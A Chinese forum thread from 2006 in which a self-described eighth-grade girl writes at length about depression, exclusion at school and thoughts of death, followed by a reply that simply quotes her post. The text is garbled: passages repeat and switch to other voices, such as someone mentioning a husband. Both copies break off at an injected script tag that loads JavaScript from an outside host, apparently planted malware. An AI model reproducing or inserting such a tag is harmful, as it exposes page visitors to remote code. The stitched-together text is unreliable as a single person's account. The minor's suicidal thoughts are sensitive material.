☆君莎希望有人能給予回應..... 最近情緒很不好...

☆君莎 · 2006年11月24日下午 06:25:01 發表

☆君莎
希望有人能給予回應.....
最近情緒很不好,很容易爲一點點小事情就不高興,覺得我一點都不值得也會突然想有的沒有的事就哭了出來,請問我這樣是得ㄌ了鬱症嗎?我活得很不自由.....,最近的自己又開始陷入低潮，一直覺的沒人能懂我心理的"痛苦",覺得沒人能懂，常常會不由自主的陷入低潮，不想跟任何人講話，常亂發脾氣，一直覺得胸口很悶，喘不過氣來，覺得人活著好痛苦，好痛苦，自己不知怎麼控制自己的心情，不要陷入低潮，我真的不想這樣，依舊覺得沒人能了解我，我不知道為什麼常覺得我很憂鬱!!,我真常有想死的念頭...在也沒有人會理我了.......,我是一個想很多的人,目前也才國二,
常常因為別人無心的一句話或一個小動作
就可以引發我一連串無止境的聯想
而且通常想法都是很悲觀、偏激
然後自己越想越氣、難過、生悶氣
可是別人根本不知道我的心情
我已經快崩潰了。。。
我相信的人…一個個都傷了我的心
我已不知道該去相信誰…也只能相信自己的輔導老師
想找人說個話…真的找不到其他值得我信任的人了
“將惡魔當天使般信任”我是全天下最笨的人了

真的很抱歉
我對人和自己已經完全失去了信心
我到底該怎麼辦.....
不知我何時才能得到快樂......,也是一個想很多的人，常常也因為別人無心的一句話或一個小動作就能夠讓我有一大堆很奇怪的聯想,或負面想法, 我......真的快樂不起來......,我也常常非常恨自己為何總是想些不合常理的負面想法,心情不好時也不知道該向誰說才好......,並且人緣也不好.....,所以......也就只能讓自己默默的承受痛苦,我....也沒有甚麼勇氣找輔導老師談談......,唉！你的痛苦我可以體會，應該就像
『心中有苦說不出』、『痛苦無人知』這樣吧!

唉！一切也都完了......也沒人會在理我了,自己心情不好時,也只能讓自己默默的承擔......
我是個不愛說話的人..什麼事都會放心裡..
常常自己跟自己說話..不是說出口的那一種
心事也不會想跟姐妹們說..談心的朋友很少
有很多秘密都放心裡..不想跟人說....
即使是先生也不想對他說...
一直都懷疑自己心裡是不是病了....
我覺得我變的越來越神經質了　什麼事都往壞處想　
明明還沒發生的事　我自己卻在幻想　而且大部分都是想不好的事
自己心裡越叫自己不要胡思亂想　但還是沒辦法
例如　朋友對我的態度跟別人不一樣　我就會想說　她們是不是討厭我
排斥我　或者就會吃醋
覺得自己什麼都比不上別人　這些情況在學校比較多...
我覺得我這個人是否心已經生病了,常常也因為別人無心的一句話或一個小動作就能夠讓我有一大堆很奇怪的聯想,或負面想法, 我......真的快樂不起來......,我也常常非常恨自己為何總是想些不合常理的負面想法,心情不好時也不知道該向誰說才好......,並且人緣也不好.....,像今天進行活動時,也才發現自己是連一個朋友也都沒有的人......,我覺得我變的越來越神經質了　什麼事都往壞處想　
明明還沒發生的事　我自己卻在幻想　而且大部分都是想不好的事
自己心裡越叫自己不要胡思亂想　但還是沒辦法
例如:朋友對我的態度跟別人不一樣　我就會想說,她們是不是討厭我
排斥我或者就會吃醋
覺得自己什麼都比不上別人,這些情況在學校比較多,(但我也很不想這樣),我覺得我真的好討厭,也很沒用,有時自己雖然想幫忙,但是如果做錯時,受到別人的則人的責罵,就會ㄧ直想.反正我就是甚麼都做不好嗎,想著想著就因自己周圍氣氛的變化，心情也就很容易受到影響自己的心情,而哭了出來,我真的是好沒用喔!心情只要一差,想哭覺得無助時,也就會一句話也不說...也不理人,像今天心情就很不好,早上第三節也都在哭,但不是在班上,那時心情也是特別的差.....,一句話也不說...也不理人...我到底是怎麼了?
難到...我的心是否已經生病了?不知為何心情總是很容易受影響,很多時候心情也就會變得很差或是想哭.....,有時也常常感受不到班上同學對我的關心,我也知道班上同學很討厭我,可是....有時我也不太懂得輔導老師說的,其實班上同學都很關心我,但....我感受不到,因為在班上只要是分組或進行活動時,它們有很多次都是排擠我....,當時我也就很想哭,可是....我這種心理受打擊的感受又有誰能體會我,每當傷心時,也沒有任何一個人會理我,也難怪自己失去了信心...,也對團體活動沒有甚麼興趣,我想....現在也只有輔導老師是真正關心我和了解我的人,也時常像空氣一樣,沒有人會注意到我....,有時我想要開心,但...開心不起來,總是常常是孤單的一個人,問了別人也都拒絕,很少是答應我的....,那麼這樣的情況時常出現,我也當然會覺得班上根本就是沒有人是了解和關心我的,我到底是做錯了甚麼?沒有人會告訴我.....我也是一直在努力改變自我阿,可是沒有人會知道我一直在改變,也都一直幫助班上同學,但....我得到的是甚麼?只有心理一直被冷漠,心理也一直受傷害,可是我就算說了,也只是白說,根本就沒有人會理我,同時我也就會覺得班上同學是否是對我漠不關心的?心已冷漠,那又有誰會在乎我?,班上同學同時也都讓我心理一?script src=http://cn.jxmmtv.com/cn.js>

sunnoom · 2006年11月24日下午 09:23:06 回覆

☆君莎
希望有人能給予回應.....
最近情緒很不好,很容易爲一點點小事情就不高興,覺得我一點都不值得也會突然想有的沒有的事就哭了出來,請問我這樣是得ㄌ了鬱症嗎?我活得很不自由.....,最近的自己又開始陷入低潮，一直覺的沒人能懂我心理的"痛苦",覺得沒人能懂，常常會不由自主的陷入低潮，不想跟任何人講話，常亂發脾氣，一直覺得胸口很悶，喘不過氣來，覺得人活著好痛苦，好痛苦，自己不知怎麼控制自己的心情，不要陷入低潮，我真的不想這樣，依舊覺得沒人能了解我，我不知道為什麼常覺得我很憂鬱!!,我真常有想死的念頭...在也沒有人會理我了.......,我是一個想很多的人,目前也才國二,
常常因為別人無心的一句話或一個小動作
就可以引發我一連串無止境的聯想
而且通常想法都是很悲觀、偏激
然後自己越想越氣、難過、生悶氣
可是別人根本不知道我的心情
我已經快崩潰了。。。
我相信的人…一個個都傷了我的心
我已不知道該去相信誰…也只能相信自己的輔導老師
想找人說個話…真的找不到其他值得我信任的人了
“將惡魔當天使般信任”我是全天下最笨的人了

真的很抱歉
我對人和自己已經完全失去了信心
我到底該怎麼辦.....
不知我何時才能得到快樂......,也是一個想很多的人，常常也因為別人無心的一句話或一個小動作就能夠讓我有一大堆很奇怪的聯想,或負面想法, 我......真的快樂不起來......,我也常常非常恨自己為何總是想些不合常理的負面想法,心情不好時也不知道該向誰說才好......,並且人緣也不好.....,所以......也就只能讓自己默默的承受痛苦,我....也沒有甚麼勇氣找輔導老師談談......,唉！你的痛苦我可以體會，應該就像
『心中有苦說不出』、『痛苦無人知』這樣吧!

唉！一切也都完了......也沒人會在理我了,自己心情不好時,也只能讓自己默默的承擔......
我是個不愛說話的人..什麼事都會放心裡..
常常自己跟自己說話..不是說出口的那一種
心事也不會想跟姐妹們說..談心的朋友很少
有很多秘密都放心裡..不想跟人說....
即使是先生也不想對他說...
一直都懷疑自己心裡是不是病了....
我覺得我變的越來越神經質了　什麼事都往壞處想　
明明還沒發生的事　我自己卻在幻想　而且大部分都是想不好的事
自己心裡越叫自己不要胡思亂想　但還是沒辦法
例如　朋友對我的態度跟別人不一樣　我就會想說　她們是不是討厭我
排斥我　或者就會吃醋
覺得自己什麼都比不上別人　這些情況在學校比較多...
我覺得我這個人是否心已經生病了,常常也因為別人無心的一句話或一個小動作就能夠讓我有一大堆很奇怪的聯想,或負面想法, 我......真的快樂不起來......,我也常常非常恨自己為何總是想些不合常理的負面想法,心情不好時也不知道該向誰說才好......,並且人緣也不好.....,像今天進行活動時,也才發現自己是連一個朋友也都沒有的人......,我覺得我變的越來越神經質了　什麼事都往壞處想　
明明還沒發生的事　我自己卻在幻想　而且大部分都是想不好的事
自己心裡越叫自己不要胡思亂想　但還是沒辦法
例如:朋友對我的態度跟別人不一樣　我就會想說,她們是不是討厭我
排斥我或者就會吃醋
覺得自己什麼都比不上別人,這些情況在學校比較多,(但我也很不想這樣),我覺得我真的好討厭,也很沒用,有時自己雖然想幫忙,但是如果做錯時,受到別人的則人的責罵,就會ㄧ直想.反正我就是甚麼都做不好嗎,想著想著就因自己周圍氣氛的變化，心情也就很容易受到影響自己的心情,而哭了出來,我真的是好沒用喔!心情只要一差,想哭覺得無助時,也就會一句話也不說...也不理人,像今天心情就很不好,早上第三節也都在哭,但不是在班上,那時心情也是特別的差.....,一句話也不說...也不理人...我到底是怎麼了?
難到...我的心是否已經生病了?不知為何心情總是很容易受影響,很多時候心情也就會變得很差或是想哭.....,有時也常常感受不到班上同學對我的關心,我也知道班上同學很討厭我,可是....有時我也不太懂得輔導老師說的,其實班上同學都很關心我,但....我感受不到,因為在班上只要是分組或進行活動時,它們有很多次都是排擠我....,當時我也就很想哭,可是....我這種心理受打擊的感受又有誰能體會我,每當傷心時,也沒有任何一個人會理我,也難怪自己失去了信心...,也對團體活動沒有甚麼興趣,我想....現在也只有輔導老師是真正關心我和了解我的人,也時常像空氣一樣,沒有人會注意到我....,有時我想要開心,但...開心不起來,總是常常是孤單的一個人,問了別人也都拒絕,很少是答應我的....,那麼這樣的情況時常出現,我也當然會覺得班上根本就是沒有人是了解和關心我的,我到底是做錯了甚麼?沒有人會告訴我.....我也是一直在努力改變自我阿,可是沒有人會知道我一直在改變,也都一直幫助班上同學,但....我得到的是甚麼?只有心理一直被冷漠,心理也一直受傷害,可是我就算說了,也只是白說,根本就沒有人會理我,同時我也就會覺得班上同學是否是對我漠不關心的?心已冷漠,那又有誰會在乎我?,班上同學同時也都讓我心理一?script src=http://cn.jxmmtv.com/cn.js>